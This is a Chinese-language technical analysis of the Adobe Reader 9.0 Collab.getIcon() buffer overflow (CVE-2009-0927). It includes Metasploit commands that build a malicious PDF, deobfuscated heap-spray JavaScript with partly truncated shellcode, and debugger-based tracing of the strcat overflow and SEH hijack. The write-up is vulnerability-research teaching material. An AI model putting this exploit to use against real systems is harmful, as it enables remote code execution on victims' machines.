CVE-2009-0927-Adobe Reader缓冲区溢出漏洞分析
0x00概述:
此漏洞的成因是由于Adobe Reader在处理PDF文档中所包含的JavaScript脚本时的Collab对象的getlcon()方式不正确处理输入的参数，而产生的缓冲区溢出，成功利用可导致远程代码执行.
0x01测试环境：
- OS–Windows XP sp3
- Adobe Reader 9.0
0x02漏洞分析：
首先用msf生成样本，具体如下
> msf5 > search cve-2009-0927
> exploit/windows/browser/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow
> exploit/windows/fileformat/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow
> msf5 > use exploit/windows/fileformat/adobe_geticon
> msf5 exploit(windows/fileformat/adobe_geticon) > set payload windows/exec
> payload => windows/exec
> msf5 exploit(windows/fileformat/adobe_geticon) > set cmd calc.exe
> cmd => calc.exe
> msf5 exploit(windows/fileformat/adobe_geticon) > run
生成样本以后，运行一下成功弹出计算器，之后我们用PDFStreamDump打开，在对象5处可以看到样本中包含的payload，dump下来之后，发现payload中的js用了超长变量名，不利于阅读代码，把变量名替换以后，得到如下可读代码
var shellcode = unescape("%u4096%ud6f9%u9147%ufd98%ufd9b%uf840%u9047......");
var nopblock = "";
# 布置堆的内容
for (i = 128; i >= 0; --i)
{
nopblock += unescape("%u9090%u9090");
}
buff = nopblock + shellcode;
nop = unescape("%u9090%u9090");
headersize = 20;
acl = headersize + buff.length;
while (nop.length < acl)
{
nop += nop;
}
fillblock = nop.substring(0, acl);
block = nop.substring(0, nop.length - acl);
while (block.length + acl < 0x40000)
{
block = block + block + fillblock;
}
memory = new Array();
for (j = 0; j < 1450; j++)
{
memory[j] = block + buff;
}
# 用0x0a0a0a0a占领SEH
var ret_addr = unescape("%0a");
while (ret_addr.length < 0x4000)
{
ret_addr += ret_addr;
}
ret_addr = "N." + ret_addr; //注意这里的 N.
Collab.getIcon(ret_addr);
由shellcode可以看出这里用的方法是Heap Spray,在堆的开始布置了大量的nop指令,结尾是shellcode，接下来用OllyDbg附加Adobe Reader9.0，执行生成的样本，发现程序被断下来，提示13000地址无法写入错误，同时栈的内容能看到最近的函数调用，2210FE4E这个函数是我们常见的危险函数strcat的返回地址，溢出的地方极有可能在这里.
我们查看当前程序加载的动态链接库，看到以22100000开始的地址在annots.api这个文件中.
我们用IDA打开这个文件，通过地址找到strcat所在位置，查看崩溃函数的上下文内容，如图所示，strrchr函数返回的是一个指向传入参数中最后一个.之后的字符串的指针（这里也就明白了为什么POC中的开头要用N.了），接着未做长度检查直接调用了strcat，导致了溢出发生．
为了验证我们的猜想，接下来用OD动态调试，已确认我们的判断，这一次，在附加了Adobe Reader以后，我们在2210FE49这个位置下一个断点，观察数据传入的变化，随后打开样本，程序被调试器断下，根据笔者的调试经验，第一次断下并看不到传入的数据，这里直接按F9四次以后，在堆栈模块很明显会看到我们熟悉的数据和目的数组，如图
0x03漏洞利用:
关于Heap Spray这里不再过多作介绍，由于这个版本的没有开启DEP机制，所以关于这里的情形通常有两种劫持EIP的方式
- 覆盖函数的返回地址
- 覆盖异常处理函数的指针
首先介绍一下第一种，覆盖函数返回地址的方式是很通用的方式，在这里只需要找到最近的一个函数的返回地址，然后计算到覆盖返回地址需要的数据长度即可，但这里最好不考虑这种方式，因为我们还需要计算数据的长度，稍微麻烦了一些．笔者推介用第二种方案，覆盖异常处理函数指针的方式来达到目的，用这种方法的好处就避免了计算数据长度，我们估算一个合适的长度(一般SEH指针离函数的位置较远，这里合适选择四五千的样子，这里的POC给出的是四千),我们来看下覆盖前后的对比
随后，想要见证一步一步直到控制EIP的只需要一步一步跟，不要忽略每个可能的函数，可能要浪费点时间，最终一定会看到EIP = 0x0c0c0c0c,如下图
